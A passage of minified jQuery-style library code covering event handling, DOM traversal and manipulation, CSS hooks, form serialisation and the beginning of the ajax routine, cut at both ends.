i,o,r,a,s=[],c=n.delegateCount,u=e.target;if(c&&u.nodeType&&(!e.button||"click"!==e.type))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(!0!==u.disabled||"click"!==e.type)){for(r=[],a=0;c>a;a++)o=n[a],i=o.selector+" ",r[i]===t&&(r[i]=o.needsContext?de(i,this).index(u)>=0:de.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&s.push({elem:u,handlers:r})}return n.length>c&&s.push({elem:this,handlers:n.slice(c)}),s},fix:function(e){if(e[de.expando])return e;var t,n,i,o=e.type,r=e,a=this.fixHooks[o];for(a||(this.fixHooks[o]=a=Ve.test(o)?this.mouseHooks:We.test(o)?this.keyHooks:{}),i=a.props?this.props.concat(a.props):this.props,e=new de.Event(r),t=i.length;t--;)n=i[t],e[n]=r[n];return e.target||(e.target=r.srcElement||Q),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,a.filter?a.filter(e,r):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var i,o,r,a=n.button,s=n.fromElement;return null==e.pageX&&null!=n.clientX&&(o=e.target.ownerDocument||Q,r=o.documentElement,i=o.body,e.pageX=n.clientX+(r&&r.scrollLeft||i&&i.scrollLeft||0)-(r&&r.clientLeft||i&&i.clientLeft||0),e.pageY=n.clientY+(r&&r.scrollTop||i&&i.scrollTop||0)-(r&&r.clientTop||i&&i.clientTop||0)),!e.relatedTarget&&s&&(e.relatedTarget=s===e.target?n.toElement:s),e.which||a===t||(e.which=1&a?1:2&a?3:4&a?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==d()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===d()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return de.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return de.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,i){var o=de.extend(new de.Event,n,{type:e,isSimulated:!0,originalEvent:{}});i?de.event.trigger(o,null,t):de.event.dispatch.call(t,o),o.isDefaultPrevented()&&n.preventDefault()}},de.removeEvent=Q.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var i="on"+t;e.detachEvent&&(typeof e[i]===G&&(e[i]=null),e.detachEvent(i,n))},de.Event=function(e,n){return this instanceof de.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||!1===e.returnValue||e.getPreventDefault&&e.getPreventDefault()?c:u):this.type=e,n&&de.extend(this,n),this.timeStamp=e&&e.timeStamp||de.now(),this[de.expando]=!0,t):new de.Event(e,n)},de.Event.prototype={isDefaultPrevented:u,isPropagationStopped:u,isImmediatePropagationStopped:u,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=c,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=c,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=c,this.stopPropagation()}},de.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){de.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,i=this,o=e.relatedTarget,r=e.handleObj;return(!o||o!==i&&!de.contains(i,o))&&(e.type=r.origType,n=r.handler.apply(this,arguments),e.type=t),n}}}),de.support.submitBubbles||(de.event.special.submit={setup:function(){return!de.nodeName(this,"form")&&(de.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,i=de.nodeName(n,"input")||de.nodeName(n,"button")?n.form:t;i&&!de._data(i,"submitBubbles")&&(de.event.add(i,"submit._submit",function(e){e._submit_bubble=!0}),de._data(i,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&de.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return!de.nodeName(this,"form")&&(de.event.remove(this,"._submit"),t)}}),de.support.changeBubbles||(de.event.special.change={setup:function(){return Re.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(de.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),de.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),de.event.simulate("change",this,e,!0)})),!1):(de.event.add(this,"beforeactivate._change",function(e){var t=e.target;Re.test(t.nodeName)&&!de._data(t,"changeBubbles")&&(de.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||de.event.simulate("change",this.parentNode,e,!0)}),de._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return de.event.remove(this,"._change"),!Re.test(this.nodeName)}}),de.support.focusinBubbles||de.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,i=function(e){de.event.simulate(t,e.target,de.event.fix(e),!0)};de.event.special[t]={setup:function(){0==n++&&Q.addEventListener(e,i,!0)},teardown:function(){0==--n&&Q.removeEventListener(e,i,!0)}}}),de.fn.extend({on:function(e,n,i,o,r){var a,s;if("object"==typeof e){"string"!=typeof n&&(i=i||n,n=t);for(a in e)this.on(a,n,i,e[a],r);return this}if(null==i&&null==o?(o=n,i=n=t):null==o&&("string"==typeof n?(o=i,i=t):(o=i,i=n,n=t)),!1===o)o=u;else if(!o)return this;return 1===r&&(s=o,o=function(e){return de().off(e),s.apply(this,arguments)},o.guid=s.guid||(s.guid=de.guid++)),this.each(function(){de.event.add(this,e,o,i,n)})},one:function(e,t,n,i){return this.on(e,t,n,i,1)},off:function(e,n,i){var o,r;if(e&&e.preventDefault&&e.handleObj)return o=e.handleObj,de(e.delegateTarget).off(o.namespace?o.origType+"."+o.namespace:o.origType,o.selector,o.handler),this;if("object"==typeof e){for(r in e)this.off(r,n,e[r]);return this}return(!1===n||"function"==typeof n)&&(i=n,n=t),!1===i&&(i=u),this.each(function(){de.event.remove(this,e,i,n)})},trigger:function(e,t){return this.each(function(){de.event.trigger(e,t,this)})},triggerHandler:function(e,n){var i=this[0];return i?de.event.trigger(e,n,i,!0):t}});var Be=/^.[^:#\[\.,]*$/,Ue=/^(?:parents|prev(?:Until|All))/,qe=de.expr.match.needsContext,$e={children:!0,contents:!0,next:!0,prev:!0};de.fn.extend({find:function(e){var t,n=[],i=this,o=i.length;if("string"!=typeof e)return this.pushStack(de(e).filter(function(){for(t=0;o>t;t++)if(de.contains(i[t],this))return!0}));for(t=0;o>t;t++)de.find(e,i[t],n);return n=this.pushStack(o>1?de.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=de(e,this),i=n.length;return this.filter(function(){for(t=0;i>t;t++)if(de.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(h(this,e||[],!0))},filter:function(e){return this.pushStack(h(this,e||[],!1))},is:function(e){return!!h(this,"string"==typeof e&&qe.test(e)?de(e):e||[],!1).length},closest:function(e,t){for(var n,i=0,o=this.length,r=[],a=qe.test(e)||"string"!=typeof e?de(e,t||this.context):0;o>i;i++)for(n=this[i];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(a?a.index(n)>-1:1===n.nodeType&&de.find.matchesSelector(n,e))){n=r.push(n);break}return this.pushStack(r.length>1?de.unique(r):r)},index:function(e){return e?"string"==typeof e?de.inArray(this[0],de(e)):de.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?de(e,t):de.makeArray(e&&e.nodeType?[e]:e),i=de.merge(this.get(),n);return this.pushStack(de.unique(i))},addBack:function(e){
1045return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),de.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return de.dir(e,"parentNode")},parentsUntil:function(e,t,n){return de.dir(e,"parentNode",n)},next:function(e){return l(e,"nextSibling")},prev:function(e){return l(e,"previousSibling")},nextAll:function(e){return de.dir(e,"nextSibling")},prevAll:function(e){return de.dir(e,"previousSibling")},nextUntil:function(e,t,n){return de.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return de.dir(e,"previousSibling",n)},siblings:function(e){return de.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return de.sibling(e.firstChild)},contents:function(e){return de.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:de.merge([],e.childNodes)}},function(e,t){de.fn[e]=function(n,i){var o=de.map(this,t,n);return"Until"!==e.slice(-5)&&(i=n),i&&"string"==typeof i&&(o=de.filter(i,o)),this.length>1&&($e[e]||(o=de.unique(o)),Ue.test(e)&&(o=o.reverse())),this.pushStack(o)}}),de.extend({filter:function(e,t,n){var i=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===i.nodeType?de.find.matchesSelector(i,e)?[i]:[]:de.find.matches(e,de.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,i){for(var o=[],r=e[n];r&&9!==r.nodeType&&(i===t||1!==r.nodeType||!de(r).is(i));)1===r.nodeType&&o.push(r),r=r[n];return o},sibling:function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});var ze="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",Xe=/ jQuery\d+="(?:null|\d+)"/g,Ge=RegExp("<(?:"+ze+")[\\s/>]","i"),Ye=/^\s+/,Qe=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,Je=/<([\w:]+)/,Ke=/<tbody/i,Ze=/<|&#?\w+;/,et=/<(?:script|style|link)/i,tt=/^(?:checkbox|radio)$/i,nt=/checked\s*(?:[^=]|=\s*.checked.)/i,it=/^$|\/(?:java|ecma)script/i,ot=/^true\/(.*)/,rt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,at={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:de.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},st=p(Q),ct=st.appendChild(Q.createElement("div"));at.optgroup=at.option,at.tbody=at.tfoot=at.colgroup=at.caption=at.thead,at.th=at.td,de.fn.extend({text:function(e){return de.access(this,function(e){return e===t?de.text(this):this.empty().append((this[0]&&this[0].ownerDocument||Q).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){f(this,e).appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=f(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){for(var n,i=e?de.filter(e,this):this,o=0;null!=(n=i[o]);o++)t||1!==n.nodeType||de.cleanData(b(n)),n.parentNode&&(t&&de.contains(n.ownerDocument,n)&&w(b(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){for(var e,t=0;null!=(e=this[t]);t++){for(1===e.nodeType&&de.cleanData(b(e,!1));e.firstChild;)e.removeChild(e.firstChild);e.options&&de.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return de.clone(this,e,t)})},html:function(e){return de.access(this,function(e){var n=this[0]||{},i=0,o=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(Xe,""):t;if(!("string"!=typeof e||et.test(e)||!de.support.htmlSerialize&&Ge.test(e)||!de.support.leadingWhitespace&&Ye.test(e)||at[(Je.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(Qe,"<$1></$2>");try{for(;o>i;i++)n=this[i]||{},1===n.nodeType&&(de.cleanData(b(n,!1)),n.innerHTML=e);n=0}catch(e){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=de.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var i=e[t++],o=e[t++];o&&(i&&i.parentNode!==o&&(i=this.nextSibling),de(this).remove(),o.insertBefore(n,i))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=ie.apply([],e);var i,o,r,a,s,c,u=0,d=this.length,l=this,h=d-1,p=e[0],f=de.isFunction(p);if(f||!(1>=d||"string"!=typeof p||de.support.checkClone)&&nt.test(p))return this.each(function(i){var o=l.eq(i);f&&(e[0]=p.call(this,i,o.html())),o.domManip(e,t,n)});if(d&&(c=de.buildFragment(e,this[0].ownerDocument,!1,!n&&this),i=c.firstChild,1===c.childNodes.length&&(c=i),i)){for(a=de.map(b(c,"script"),m),r=a.length;d>u;u++)o=c,u!==h&&(o=de.clone(o,!0,!0),r&&de.merge(a,b(o,"script"))),t.call(this[u],o,u);if(r)for(s=a[a.length-1].ownerDocument,de.map(a,g),u=0;r>u;u++)o=a[u],it.test(o.type||"")&&!de._data(o,"globalEval")&&de.contains(s,o)&&(o.src?de._evalUrl(o.src):de.globalEval((o.text||o.textContent||o.innerHTML||"").replace(rt,"")));c=i=null}return this}}),de.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){de.fn[e]=function(e){for(var n,i=0,o=[],r=de(e),a=r.length-1;a>=i;i++)n=i===a?this:this.clone(!0),de(r[i])[t](n),oe.apply(o,n.get());return this.pushStack(o)}}),de.extend({clone:function(e,t,n){var i,o,r,a,s,c=de.contains(e.ownerDocument,e);if(de.support.html5Clone||de.isXMLDoc(e)||!Ge.test("<"+e.nodeName+">")?r=e.cloneNode(!0):(ct.innerHTML=e.outerHTML,ct.removeChild(r=ct.firstChild)),!(de.support.noCloneEvent&&de.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||de.isXMLDoc(e)))for(i=b(r),s=b(e),a=0;null!=(o=s[a]);++a)i[a]&&v(o,i[a]);if(t)if(n)for(s=s||b(e),i=i||b(r),a=0;null!=(o=s[a]);a++)y(o,i[a]);else y(e,r);return i=b(r,"script"),i.length>0&&w(i,!c&&b(e,"script")),i=s=o=null,r},buildFragment:function(e,t,n,i){for(var o,r,a,s,c,u,d,l=e.length,h=p(t),f=[],m=0;l>m;m++)if((r=e[m])||0===r)if("object"===de.type(r))de.merge(f,r.nodeType?[r]:r);else if(Ze.test(r)){for(s=s||h.appendChild(t.createElement("div")),c=(Je.exec(r)||["",""])[1].toLowerCase(),d=at[c]||at._default,s.innerHTML=d[1]+r.replace(Qe,"<$1></$2>")+d[2],o=d[0];o--;)s=s.lastChild;if(!de.support.leadingWhitespace&&Ye.test(r)&&f.push(t.createTextNode(Ye.exec(r)[0])),!de.support.tbody)for(r="table"!==c||Ke.test(r)?"<table>"!==d[1]||Ke.test(r)?0:s:s.firstChild,o=r&&r.childNodes.length;o--;)de.nodeName(u=r.childNodes[o],"tbody")&&!u.childNodes.length&&r.removeChild(u);for(de.merge(f,s.childNodes),s.textContent="";s.firstChild;)s.removeChild(s.firstChild);s=h.lastChild}else f.push(t.createTextNode(r));for(s&&h.removeChild(s),de.support.appendChecked||de.grep(b(f,"input"),C),m=0;r=f[m++];)if((!i||-1===de.inArray(r,i))&&(a=de.contains(r.ownerDocument,r),s=b(h.appendChild(r),"script"),a&&w(s),n))for(o=0;r=s[o++];)it.test(r.type||"")&&n.push(r);return s=null,h},cleanData:function(e,t){for(var n,i,o,r,a=0,s=de.expando,c=de.cache,u=de.support.deleteExpando,d=de.event.special;null!=(n=e[a]);a++)if((t||de.acceptData(n))&&(o=n[s],r=o&&c[o])){if(r.events)for(i in r.events)d[i]?de.event.remove(n,i):de.removeEvent(n,i,r.handle);c[o]&&(delete c[o],u?delete n[s]:typeof n.removeAttribute!==G?n.removeAttribute(s):n[s]=null,te.push(o))}},_evalUrl:function(e){return de.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),de.fn.extend({wrapAll:function(e){if(de.isFunction(e))return this.each(function(t){de(this).wrapAll(e.call(this,t))});if(this[0]){var t=de(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)}return this},wrapInner:function(e){return de.isFunction(e)?this.each(function(t){de(this).wrapInner(e.call(this,t))}):this.each(function(){var t=de(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=de.isFunction(e);return this.each(function(n){de(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){de.nodeName(this,"body")||de(this).replaceWith(this.childNodes)}).end()}});var ut,dt,lt,ht=/alpha\([^)]*\)/i,pt=/opacity\s*=\s*([^)]*)/,ft=/^(top|right|bottom|left)$/,mt=/^(none|table(?!-c[ea]).+)/,gt=/^margin/,wt=RegExp("^("+le+")(.*)$","i"),yt=RegExp("^("+le+")(?!px)[a-z%]+$","i"),vt=RegExp("^([+-])=("+le+")","i"),bt={BODY:"block"},Ct={position:"absolute",visibility:"hidden",display:"block"},St={letterSpacing:0,fontWeight:400},xt=["Top","Right","Bottom","Left"],Et=["Webkit","O","Moz","ms"];de.fn.extend({css:function(e,n){return de.access(this,function(e,n,i){var o,r,a={},s=0;if(de.isArray(n)){for(r=dt(e),o=n.length;o>s;s++)a[n[s]]=de.css(e,n[s],!1,r);return a}return i!==t?de.style(e,n,i):de.css(e,n)},e,n,arguments.length>1)},show:function(){return E(this,!0)},hide:function(){return E(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){x(this)?de(this).show():de(this).hide()})}}),de.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=lt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":de.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,i,o){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var r,a,s,c=de.camelCase(n),u=e.style;if(n=de.cssProps[c]||(de.cssProps[c]=S(u,c)),s=de.cssHooks[n]||de.cssHooks[c],i===t)return s&&"get"in s&&(r=s.get(e,!1,o))!==t?r:u[n];if(a=typeof i,"string"===a&&(r=vt.exec(i))&&(i=(r[1]+1)*r[2]+parseFloat(de.css(e,n)),a="number"),!(null==i||"number"===a&&isNaN(i)||("number"!==a||de.cssNumber[c]||(i+="px"),de.support.clearCloneStyle||""!==i||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&(i=s.set(e,i,o))===t)))try{u[n]=i}catch(e){}}},css:function(e,n,i,o){var r,a,s,c=de.camelCase(n);return n=de.cssProps[c]||(de.cssProps[c]=S(e.style,c)),s=de.cssHooks[n]||de.cssHooks[c],s&&"get"in s&&(a=s.get(e,!0,i)),a===t&&(a=lt(e,n,o)),"normal"===a&&n in St&&(a=St[n]),""===i||i?(r=parseFloat(a),!0===i||de.isNumeric(r)?r||0:a):a}}),e.getComputedStyle?(dt=function(t){return e.getComputedStyle(t,null)},lt=function(e,n,i){var o,r,a,s=i||dt(e),c=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==c||de.contains(e.ownerDocument,e)||(c=de.style(e,n)),yt.test(c)&>.test(n)&&(o=u.width,r=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=c,c=s.width,u.width=o,u.minWidth=r,u.maxWidth=a)),c}):Q.documentElement.currentStyle&&(dt=function(e){return e.currentStyle},lt=function(e,n,i){var o,r,a,s=i||dt(e),c=s?s[n]:t,u=e.style;return null==c&&u&&u[n]&&(c=u[n]),yt.test(c)&&!ft.test(n)&&(o=u.left,r=e.runtimeStyle,a=r&&r.left,a&&(r.left=e.currentStyle.left),u.left="fontSize"===n?"1em":c,c=u.pixelLeft+"px",u.left=o,a&&(r.left=a)),""===c?"auto":c}),de.each(["height","width"],function(e,n){de.cssHooks[n]={get:function(e,i,o){return i?0===e.offsetWidth&&mt.test(de.css(e,"display"))?de.swap(e,Ct,function(){return T(e,n,o)}):T(e,n,o):t},set:function(e,t,i){var o=i&&dt(e);return k(e,t,i?F(e,n,i,de.support.boxSizing&&"border-box"===de.css(e,"boxSizing",!1,o),o):0)}}}),de.support.opacity||(de.cssHooks.opacity={get:function(e,t){return pt.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?.01*parseFloat(RegExp.$1)+"":t?"1":""},set:function(e,t){var n=e.style,i=e.currentStyle,o=de.isNumeric(t)?"alpha(opacity="+100*t+")":"",r=i&&i.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===de.trim(r.replace(ht,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||i&&!i.filter)||(n.filter=ht.test(r)?r.replace(ht,o):r+" "+o)}}),de(function(){de.support.reliableMarginRight||(de.cssHooks.marginRight={get:function(e,n){return n?de.swap(e,{display:"inline-block"},lt,[e,"marginRight"]):t}}),!de.support.pixelPosition&&de.fn.position&&de.each(["top","left"],function(e,n){de.cssHooks[n]={get:function(e,i){return i?(i=lt(e,n),yt.test(i)?de(e).position()[n]+"px":i):t}}})}),de.expr&&de.expr.filters&&(de.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!de.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||de.css(e,"display"))},de.expr.filters.visible=function(e){return!de.expr.filters.hidden(e)}),de.each({margin:"",padding:"",border:"Width"},function(e,t){de.cssHooks[e+t]={expand:function(n){for(var i=0,o={},r="string"==typeof n?n.split(" "):[n];4>i;i++)o[e+xt[i]+t]=r[i]||r[i-2]||r[0];return o}},gt.test(e)||(de.cssHooks[e+t].set=k)});var kt=/%20/g,Ft=/\[\]$/,Tt=/\r?\n/g,Ot=/^(?:submit|button|image|reset|file)$/i,_t=/^(?:input|select|textarea|keygen)/i;de.fn.extend({serialize:function(){return de.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=de.prop(this,"elements");return e?de.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!de(this).is(":disabled")&&_t.test(this.nodeName)&&!Ot.test(e)&&(this.checked||!tt.test(e))}).map(function(e,t){var n=de(this).val();return null==n?null:de.isArray(n)?de.map(n,function(e){return{name:t.name,value:e.replace(Tt,"\r\n")}}):{name:t.name,value:n.replace(Tt,"\r\n")}}).get()}}),de.param=function(e,n){var i,o=[],r=function(e,t){t=de.isFunction(t)?t():null==t?"":t,o[o.length]=encodeURIComponent(e)+"="+encodeURIComponent(t)};if(n===t&&(n=de.ajaxSettings&&de.ajaxSettings.traditional),de.isArray(e)||e.jquery&&!de.isPlainObject(e))de.each(e,function(){r(this.name,this.value)});else for(i in e)A(i,e[i],n,r);return o.join("&").replace(kt,"+")},de.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){de.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),de.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,i){return this.on(t,e,n,i)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var At,Nt,jt=de.now(),Dt=/\?/,It=/#.*$/,Pt=/([?&])_=[^&]*/,Mt=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Rt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Wt=/^(?:GET|HEAD)$/,Vt=/^\/\//,Lt=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,Ht=de.fn.load,Bt={},Ut={},qt="*/".concat("*");try{Nt=Y.href}catch(e){Nt=Q.createElement("a"),Nt.href="",Nt=Nt.href}At=Lt.exec(Nt.toLowerCase())||[],de.fn.load=function(e,n,i){if("string"!=typeof e&&Ht)return Ht.apply(this,arguments);var o,r,a,s=this,c=e.indexOf(" ");return c>=0&&(o=e.slice(c,e.length),e=e.slice(0,c)),de.isFunction(n)?(i=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&de.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){r=arguments,s.html(o?de("<div>").append(de.parseHTML(e)).find(o):e)}).complete(i&&function(e,t){s.each(i,r||[e.responseText,t,e])}),this},de.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){de.fn[t]=function(e){return this.on(t,e)}}),de.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Nt,type:"GET",isLocal:Rt.test(At[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":qt,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":de.parseJSON,"text xml":de.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?D(D(e,de.ajaxSettings),t):D(de.ajaxSettings,e)},ajaxPrefilter:N(Bt),ajaxTransport:N(Ut),ajax:function(e,n){function i(e,n,i,o){var r,l,y,v,C,x=n;2!==b&&(b=2,c&&clearTimeout(c),d=t,s=o||"",S.readyState=e>0?4:0,r=e>=200&&300>e||304===e,i&&(v=I(h,S,i)),v=P(h,v,S,r),r?(h.ifModified&&(C=S.getResponseHeader("Last-Modified"),C&&(de.lastModified[a]=C),(C=S.getResponseHeader("etag"))&&(de.etag[a]=C)),204===e||"HEAD"===h.type?x="nocontent":304===e?x="notmodified":(x=v.state,l=v.data,y=v.error,r=!y)):(y=x,(e||!x)&&(x="error",0>e&&(e=0))),S.status=e,S.statusText=(n||x)+"",r?m.resolveWith(p,[l,x,S]):m.rejectWith(p,[S,x,y]),S.statusCode(w),w=t,u&&f.trigger(r?"ajaxSuccess":"ajaxError",[S,h,r?l:y]),g.fireWith(p,[S,x]),u&&(f.trigger("ajaxComplete",[S,h]),--de.active||de.event.trigger("ajaxStop")))}"object"==typeof e&&(n=e,e=t),n=n||{};var o,r,a,s,c,u,d,l,h=de.ajaxSetup({},n),p=h.context||h,f=h.context&&(p.nodeType||p.jquery)?de(p):de.event,m=de.Deferred(),g=de.Callbacks("once memory"),w=h.statusCode||{},y={},v={},b=0,C="canceled",S={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!l)for(l={};t=Mt.exec(s);)l[t[1].toLowerCase()]=t[2];t=l[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?s:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(h.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)w[t]=[w[t],e[t]];else S.always(e[S.status]);return this},abort:function(e){var t=e||C;return d&&d.abort(t),i(0,t),this}};if(m.promise(S).complete=g.add,S.success=S.done,S.error=S.fail,h.url=((e||h.url||Nt)+"").replace(It,"").replace(Vt,At[1]+"//"),h.type=n.method||n.type||h.method||h.type,h.dataTypes=de.trim(h.dataType||"*").toLowerCase().match(he)||[""],null==h.crossDomain&&(o=Lt.exec(h.url.toLowerCase()),h.crossDomain=!(!o||o[1]===At[1]&&o[2]===At[2]&&(o[3]||("http:"===o[1]?"80":"443"))===(At[3]||("http:"===At[1]?"80":"443")))),h.data&&h.processData&&"string"!=typeof h.data&&(h.data=de.param(h.data,h.traditional)),j(Bt,h,n,S),2===b)return S;u=h.global,u&&0==de.active++&&de.event.trigger("ajaxStart"),h.type=h.type.toUpperCase(),h.hasContent=!Wt.test(h.type),a=h.url,h.hasContent||(h.data&&(a=h.url+=(Dt.test(a)?"&":"?")+h.data,delete h.data),!1===h.cache&&(h.url=Pt.test(a)?a.replace(Pt,"$1_="+jt++):a+(Dt.test(a)?"&":"?")+"_="+jt++)),h.ifModified&&(de.lastModified[a]&&S.setRequestHeader("If-Modified-Since",de.lastModified[a]),de.etag[a]&&S.setRequestHeader("If-None-Match",de.etag[a])),(h.data&&h.hasContent&&!1!==h.contentType||n.contentType)&&S.setRequestHeader("Content-Type",h.contentType),S.setRequestHeader("Accept",h.dataTypes[0]&&h.accepts[h.dataTypes[0]]?h.accepts[h.dataTypes[0]]+("*"!==h.dataTypes[0]?", "+qt+"; q=0.01":""):h.accepts["*"]);for(r in 